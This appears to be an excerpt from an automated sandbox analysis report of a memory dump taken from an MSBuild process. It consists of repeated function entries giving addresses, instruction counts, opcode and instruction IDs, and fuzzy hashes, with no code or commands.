                                                                          • Opcode ID: 65a6da88ffe4e3ef4f4bf4dda68b508183db8c002971e90ba11f3763248cd9ea
                                                                          • Instruction ID: fe3933f8e4254aa831b3cd70b3a927363749df4a29675d849b5a01391221a4c2
                                                                          • Opcode Fuzzy Hash: 65a6da88ffe4e3ef4f4bf4dda68b508183db8c002971e90ba11f3763248cd9ea
                                                                          • Instruction Fuzzy Hash: DBF0C2B2600A11ABD335CF4DDC40EA7FBEEDBD1A84F048128A519CB320EA31DD04CB90
                                                                          Function 014250D9 Relevance: .0, Instructions: 43COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 80b6a252444bd12adaac444cdf03739572ef387c53dfa75aac3f8b0f29a4c279
                                                                          • Instruction ID: ecf60ea01140390ead407b2394ed1e431b4f1e6d5348deba1bfd3349097950d4
                                                                          • Opcode Fuzzy Hash: 80b6a252444bd12adaac444cdf03739572ef387c53dfa75aac3f8b0f29a4c279
                                                                          • Instruction Fuzzy Hash: 4E0121B1A00219AFDF00DFA9D9419EEB7F8FF58354F50405AE905F7350D674D9018BA4
                                                                          Function 0134C310 Relevance: .0, Instructions: 43COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 256e141dc6b9705f9909cc47be5080ee0eb4db29c7708f1459163a76593eb05a
                                                                          • Instruction ID: 9f6f24588f97259003c56aa60f529fd5340b36151ffd9b7733dabfe0c06b2075
                                                                          • Opcode Fuzzy Hash: 256e141dc6b9705f9909cc47be5080ee0eb4db29c7708f1459163a76593eb05a
                                                                          • Instruction Fuzzy Hash: 92F0F633247A239BD7735A9D4840B6BAAD98FD1A6CF1A1035F2099B605CA68ED0297D0
                                                                          Function 01425537 Relevance: .0, Instructions: 43COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 1fc05d604851090c6be256db60094917ffe70d7d22a453073f1325237d111838
                                                                          • Instruction ID: f52c5e1cd392563821ad84ae5b6e9d9ccbe1a71447fb16aeca73f1beccd74b45
                                                                          • Opcode Fuzzy Hash: 1fc05d604851090c6be256db60094917ffe70d7d22a453073f1325237d111838
                                                                          • Instruction Fuzzy Hash: F8111E70A1025ADFDB04DFA9D541B9DBBF4FF08304F044266E509EB381E634D941CB50
                                                                          Function 014261E5 Relevance: .0, Instructions: 41COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 7beb36a2434da397c817ed88e4a2d5041708cd800502ce5e2587d9817984d61a
                                                                          • Instruction ID: d95d853d5577de2a8aa34d02b935945b3e63cb7a2af1b3fa2d922d37e06b11f7
                                                                          • Opcode Fuzzy Hash: 7beb36a2434da397c817ed88e4a2d5041708cd800502ce5e2587d9817984d61a
                                                                          • Instruction Fuzzy Hash: 67017C71A00259ABCF00DFADD841AAEBBB8AF58314F14405AE901A7390D734EA02CBA5
                                                                          Function 013D63C0 Relevance: .0, Instructions: 41COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: dbb06fbea8421d8b96890fd2b120b20d820a8046168cc589f8d54c87f08ef009
                                                                          • Instruction ID: e1ebfe9cedf8d27d20d54e364b66ec08c70ded3a1c562a3da7367c11b49b65f5
                                                                          • Opcode Fuzzy Hash: dbb06fbea8421d8b96890fd2b120b20d820a8046168cc589f8d54c87f08ef009
                                                                          • Instruction Fuzzy Hash: 79F01DB320001DBFEF019F99DD81DEF7B7EEB592A8B104125FA11A2160D635DD21ABA0
                                                                          Function 0140F2F8 Relevance: .0, Instructions: 41COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: dab9f7e65e5c9c8310cad4877db96ddf9f35c16be6ae84ba57b921c40f6294e8
                                                                          • Instruction ID: 2c5ba112a8b85759bffdc36a2889f422bb4177d781fbd8282d1c53e5b2ba8e77
                                                                          • Opcode Fuzzy Hash: dab9f7e65e5c9c8310cad4877db96ddf9f35c16be6ae84ba57b921c40f6294e8
                                                                          • Instruction Fuzzy Hash: 02F0C872B10248AFDB14DFFEC805AEEB7B8EF54714F008066E501E72D0DA74E9058750
                                                                          Function 0138724D Relevance: .0, Instructions: 40COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 44620c8b90c707c3135ebb5afdba643e124f7b09bfea536c61b6b3c3b840e391
                                                                          • Instruction ID: dd21fa3c345d2f502e26d6aa0ec01a568545b868819f664e24b8004406b3d972
                                                                          • Opcode Fuzzy Hash: 44620c8b90c707c3135ebb5afdba643e124f7b09bfea536c61b6b3c3b840e391
                                                                          • Instruction Fuzzy Hash: C3F0F671A013666BEB15E7AD8940FAFBBAADF90618F288155FE0197144D630EA40C690
                                                                          Function 0134C0F0 Relevance: .0, Instructions: 39COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: f1b1b03d38fec90233d6b8f24ea7dba7ca4742569eedba16c888368eeeea45ef
                                                                          • Instruction ID: 89dc4696a0b2c568e9c49b7f0384ff6ffd002a9533f651df3b5a03f27c23df65
                                                                          • Opcode Fuzzy Hash: f1b1b03d38fec90233d6b8f24ea7dba7ca4742569eedba16c888368eeeea45ef
                                                                          • Instruction Fuzzy Hash: FFF024712052519BF350A61D9C02F2272DAFBD465CF25902AEB098B6D1E970EC01C394
                                                                          Function 014253FC Relevance: .0, Instructions: 39COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 1e05c90ac4be3139ed0ec1da852e33f99613b84f1a6dbce3fc043d6aa60f8200
                                                                          • Instruction ID: b397b4ffe2ca8e87d3fe6b8215ec34c69629bc45ebdb79b9433ea2ce5852a239
                                                                          • Opcode Fuzzy Hash: 1e05c90ac4be3139ed0ec1da852e33f99613b84f1a6dbce3fc043d6aa60f8200
                                                                          • Instruction Fuzzy Hash: 3E011E70A0020A9FDB04DFA9D545B9EF7F4FF18344F148266E519EB391E6349A418B90
                                                                          Function 0138656A Relevance: .0, Instructions: 39COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 9f176b161a4d2bffc64ca62d0840196aad1ac282335948e51b0b602489d1d953
                                                                          • Instruction ID: d8c0bff1b47b24ae75343b8b6fb83acde636ac16e53017b3fdc7397ee1152761
                                                                          • Opcode Fuzzy Hash: 9f176b161a4d2bffc64ca62d0840196aad1ac282335948e51b0b602489d1d953
                                                                          • Instruction Fuzzy Hash: C401A9B0204785DFF723A76CCD59F263798BB50F4CF484154BA418B9D6D728D8028224
                                                                          Function 013F437C Relevance: .0, Instructions: 37COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: abe8a162c34942eaba6aef332befd3f6f0562530e07f378f59fd36a18add1061
                                                                          • Instruction ID: 4c73529b273ebd20c5db4fcb11b6273c35bc1c94aaf666e59ba96916fed21a09
                                                                          • Opcode Fuzzy Hash: abe8a162c34942eaba6aef332befd3f6f0562530e07f378f59fd36a18add1061
                                                                          • Instruction Fuzzy Hash: 57F0E935341A1347EB36AA2E9410B2BA6D5DF90944B05853E9705CB680EF20D810C780
                                                                          Function 0140F3E6 Relevance: .0, Instructions: 35COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 6acabe473bb066d35001d8b39ebbca5201a148b09881fe2020bf5f26d20ae2d2
                                                                          • Instruction ID: 150b35a269c3dbd9b55849dacef7dc6fbc9f93312d2f482b898fffa0a585ebb4
                                                                          • Opcode Fuzzy Hash: 6acabe473bb066d35001d8b39ebbca5201a148b09881fe2020bf5f26d20ae2d2
                                                                          • Instruction Fuzzy Hash: 8DF03771A00249AFCB04EFADD545A9EBBF4EF18304F40806AB945EB391E674EA01CB54
                                                                          Function 013492FF Relevance: .0, Instructions: 35COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 6f129951eddc417212f7ac1f3ad412d8748dfa99b4e25db811d6478fe8328190
                                                                          • Instruction ID: 0623a2683917af1996e2b8accac3bb4c264cf664fdb8b610de109454088b28d7
                                                                          • Opcode Fuzzy Hash: 6f129951eddc417212f7ac1f3ad412d8748dfa99b4e25db811d6478fe8328190
                                                                          • Instruction Fuzzy Hash: 63F0F032100240ABD7319B09CC04F9BBBEDEF89718F08011CB54683090C6A0F904C750
                                                                          Function 014255C9 Relevance: .0, Instructions: 35COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 32f2c0964e2f19a47fb2d421c9cab54f187d8938399170405bacfe6a23158d4d
                                                                          • Instruction ID: 6f87b71a224abf4a14d9de477986b3ca74d39bb0ba8cc60324692223ce9b2d5d
                                                                          • Opcode Fuzzy Hash: 32f2c0964e2f19a47fb2d421c9cab54f187d8938399170405bacfe6a23158d4d
                                                                          • Instruction Fuzzy Hash: 24F03C74A00249AFDB04EFB9D545A9EB7F4FF18304F50845AF909EB390E674DA01CB54
                                                                          Function 01410115 Relevance: .0, Instructions: 32COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2516a12490c3693df8e4472835e13e36a19a1e8a784adb06a520e5c9f1aa79e3
                                                                          • Instruction ID: b528759104f076cc19619e8cdc98d8a4bc3c8cd74ae223ac0f3db0cc3153142b
                                                                          • Opcode Fuzzy Hash: 2516a12490c3693df8e4472835e13e36a19a1e8a784adb06a520e5c9f1aa79e3
                                                                          • Instruction Fuzzy Hash: 69F0273E4196C017CB336B2D64602D27B54A752010F0A145FD4A15733DC5BD88C3C320
                                                                          Function 0142539D Relevance: .0, Instructions: 31COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: a83c7265c472f4f98d26df29e70e93c24f12f1cf2304b5d7ca9a2a208372f3b3
                                                                          • Instruction ID: 6ee4bd0867aaa92a71a4d55f0145bbacdd53f1c0b8bcdd361ad225a9626cdd0f
                                                                          • Opcode Fuzzy Hash: a83c7265c472f4f98d26df29e70e93c24f12f1cf2304b5d7ca9a2a208372f3b3
                                                                          • Instruction Fuzzy Hash: 9AF05E70A1024DAFDB04EBBDD555AAEB7B8EF18308F508059EA06EB391EA74D901CB14
                                                                          Function 014252E2 Relevance: .0, Instructions: 31COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 7c31286840dc6d9af98aaa909ba64e66b1e2000c4189831ce611acc26d0fd220
                                                                          • Instruction ID: 15e457f8caf38ee2b4414c3bcbc3f9c576e1ff60e2c56bde362b68da0c83705b
                                                                          • Opcode Fuzzy Hash: 7c31286840dc6d9af98aaa909ba64e66b1e2000c4189831ce611acc26d0fd220
                                                                          • Instruction Fuzzy Hash: B8F0BE70A10249AFDB04EFB9E941EAEB7B8FF14308F408059A901EB390EA74D901CB14
                                                                          Function 01425283 Relevance: .0, Instructions: 31COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: d7eda6ee1c86721ed69a619d6425e3de6d59666104187b2760f05fd82ed7e1af
                                                                          • Instruction ID: b1e9ba21873b65e5969c136db754837887bd7b5af8f559aa7200c3670cbc0a2e
                                                                          • Opcode Fuzzy Hash: d7eda6ee1c86721ed69a619d6425e3de6d59666104187b2760f05fd82ed7e1af
                                                                          • Instruction Fuzzy Hash: C6F0BE70A10249AFDB04EBB9D901BAEB7F8FF14304F408459B901EB3D1EA34D9018B54
                                                                          Function 0138C5ED Relevance: .0, Instructions: 31COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 4322326fb93daf86a1ad23b0a1cbd1e56e4f823b55077974e261ca1e78dee282
                                                                          • Instruction ID: e7af87175570de73000f12d8d4f428b96b9547ccc847c3580399ac449072dbe5
                                                                          • Opcode Fuzzy Hash: 4322326fb93daf86a1ad23b0a1cbd1e56e4f823b55077974e261ca1e78dee282
                                                                          • Instruction Fuzzy Hash: BAF0EC715117A59FE722BB2CC148BA1BBE8EB807BCF0CB436D44687912C674F880CA70
                                                                          Function 014251CB Relevance: .0, Instructions: 30COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 87997d9d80cb841827d23ac590a6ae541babfb7eda5bf77ece0264f60613c8c3
                                                                          • Instruction ID: ec2007f661ecac108d911b6fe115f75b4af646f1dfc3dcc3052c71b05ea68f33
                                                                          • Opcode Fuzzy Hash: 87997d9d80cb841827d23ac590a6ae541babfb7eda5bf77ece0264f60613c8c3
                                                                          • Instruction Fuzzy Hash: 10F05EB0A10259ABDB04EBB9D915EAE77A8AB14208F440059FA01EB2D0EA74D9018B68
                                                                          Function 013CD070 Relevance: .0, Instructions: 30COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 29a6642c7ef7ed3592a36acdccc95c3bae471711bc0d42908ddba4b2807d0017
                                                                          • Instruction ID: c3381967a376ed13c7c7564a2d1b8f4fa7430da987becd62f4de4edcb9298b59
                                                                          • Opcode Fuzzy Hash: 29a6642c7ef7ed3592a36acdccc95c3bae471711bc0d42908ddba4b2807d0017
                                                                          • Instruction Fuzzy Hash: E3F0E53350461477C230AA4D8C05F6BFBACDBE5B74F10432ABA249B1D0DA70A901C7D6
                                                                          Function 01425341 Relevance: .0, Instructions: 30COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 6ab9e96bb511eb77e49c1ff6484e0d6a36bed2d1e29befadf4e7bce9e642d622
                                                                          • Instruction ID: 3acad19aab9c8c17c59fc3ed271f7b394c12f00307900da54187764ffc1f009a
                                                                          • Opcode Fuzzy Hash: 6ab9e96bb511eb77e49c1ff6484e0d6a36bed2d1e29befadf4e7bce9e642d622
                                                                          • Instruction Fuzzy Hash: 8CF0A770A04249AFDF04DBBDD955E9E77F8EF19348F504099E502EB3E0EA74D9018714
                                                                          Function 01387208 Relevance: .0, Instructions: 30COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 67802aca57d29c09f60ec0bd8345646c10497102802f7fe6b4529ea459e21fc7
                                                                          • Instruction ID: 2031901e838eaf3e0e6c4e3464890ed5013cf1ade3d0a67a7f16804a0911fef2
                                                                          • Opcode Fuzzy Hash: 67802aca57d29c09f60ec0bd8345646c10497102802f7fe6b4529ea459e21fc7
                                                                          • Instruction Fuzzy Hash: 63F0EC71911694EFE722E31ED194B227BE89B20E38F089069D4098BA42C328CC80C350
                                                                          Function 01425227 Relevance: .0, Instructions: 30COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 160d82edaf4e5b6f8cc8840dbd627bc1f7fc831b661e9bf86f2d03559b08b009
                                                                          • Instruction ID: c90d7ab721b05c16e807b0ed811ece3fed9905401c779fd18bd7ab41b3952adf
                                                                          • Opcode Fuzzy Hash: 160d82edaf4e5b6f8cc8840dbd627bc1f7fc831b661e9bf86f2d03559b08b009
                                                                          • Instruction Fuzzy Hash: 74F0E270A14249ABDF04EBBCD941EAE73B8EF14308F400059BA02EB3D0EA30D9018B58
                                                                          Function 0142547F Relevance: .0, Instructions: 30COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 6e68d4cd2095e81c82894d761f4b3b0d9c62882d8fee11bfe7f71c29f7c3a1fb
                                                                          • Instruction ID: 14499296ba5bb3e3eef01ab47a7eaa8ad8b260dff683e2a03db976136db73214
                                                                          • Opcode Fuzzy Hash: 6e68d4cd2095e81c82894d761f4b3b0d9c62882d8fee11bfe7f71c29f7c3a1fb
                                                                          • Instruction Fuzzy Hash: 7BF08270A01249ABDF04DBBDD955F9EB7B8EF18308F504065E602EB390EA34D9018758
                                                                          Function 013855C0 Relevance: .0, Instructions: 28COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 09511f6a5b3cabbe784265c74914248b525a176bb6667c193042ebcc910e885d
                                                                          • Instruction ID: 6a2b61bb87da9c886085d0f77f43f4f32942615422515fe7eb4f3daef8ea139b
                                                                          • Opcode Fuzzy Hash: 09511f6a5b3cabbe784265c74914248b525a176bb6667c193042ebcc910e885d
                                                                          • Instruction Fuzzy Hash: 6CE0E533141614ABCB212B0AD800F12BB69FF60BB4F108129B159579908764BC11CAE4
                                                                          Function 013525E0 Relevance: .0, Instructions: 23COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID: InitializeThunk
                                                                          • String ID:
                                                                          • API String ID: 2994545307-0
                                                                          • Opcode ID: 3d430d7b5981f6307a29aaa136732464667ee08196178178820216ff84a6080f
                                                                          • Instruction ID: 6f4cc60e720d6f2577fbd299ab41719625f331ec54d12d49de9d8253d2c3f29e
                                                                          • Opcode Fuzzy Hash: 3d430d7b5981f6307a29aaa136732464667ee08196178178820216ff84a6080f
                                                                          • Instruction Fuzzy Hash: B6E09232100A94ABC722BB2DDD02F8B77AAEB60778F014515B519571A4CA74A850C798
                                                                          Function 013D4000 Relevance: .0, Instructions: 22COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: d217a6aac874400d2fdd0dd0cc4ad7a97c57c110d53f39d941a96e3fabb04b1b
                                                                          • Instruction ID: f2e3d37e3c9509ae9d7524dfed05997dcc48f8da00eed8b0ed8ffa6493f8accb
                                                                          • Opcode Fuzzy Hash: d217a6aac874400d2fdd0dd0cc4ad7a97c57c110d53f39d941a96e3fabb04b1b
                                                                          • Instruction Fuzzy Hash: 37E0C2353003059FE715CF19D084B62BBB6BFD5A14F28C068A9488F605EB32E842CB40
                                                                          Function 0140B3D0 Relevance: .0, Instructions: 21COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2862d5c95079e8f9bdfc17701203be164f113e2c7109adcb0461f4fb661a1a8a
                                                                          • Instruction ID: 047445df8705523e91c59ff959d520179860b049f267e3ff48dea74de0a681df
                                                                          • Opcode Fuzzy Hash: 2862d5c95079e8f9bdfc17701203be164f113e2c7109adcb0461f4fb661a1a8a
                                                                          • Instruction Fuzzy Hash: D4E0C231285615BBDB232E49CC00F697B59EB507A4F208032FE086B6E1C675AD92D6D8
                                                                          Function 0134823B Relevance: .0, Instructions: 21COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
                                                                          • Instruction ID: b4db76f4d94450e8ae96ecbd0e2b1d2deafdf0714afc16bb769019509a514f63
                                                                          • Opcode Fuzzy Hash: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
                                                                          • Instruction Fuzzy Hash: 1AE08C31401A14EFDF322E59DC00F5276E9FB54B28F104869E085164A887B0B881DA44
                                                                          Function 01352050 Relevance: .0, Instructions: 20COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_8_2_1320000_MSBuild.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: d898971bd99017263d260cf3f2564fe2a01a0083a80a06f6bc945d3d9637c59c
                                                                          • Instruction ID: ff70ce315fc61abf48ee9651e7d49c7600383d98839c4381ddeb0f8d388c1fef
                                                                          • Opcode Fuzzy Hash: d898971bd99017263d260cf3f2564fe2a01a0083a80a06f6bc945d3d9637c59c
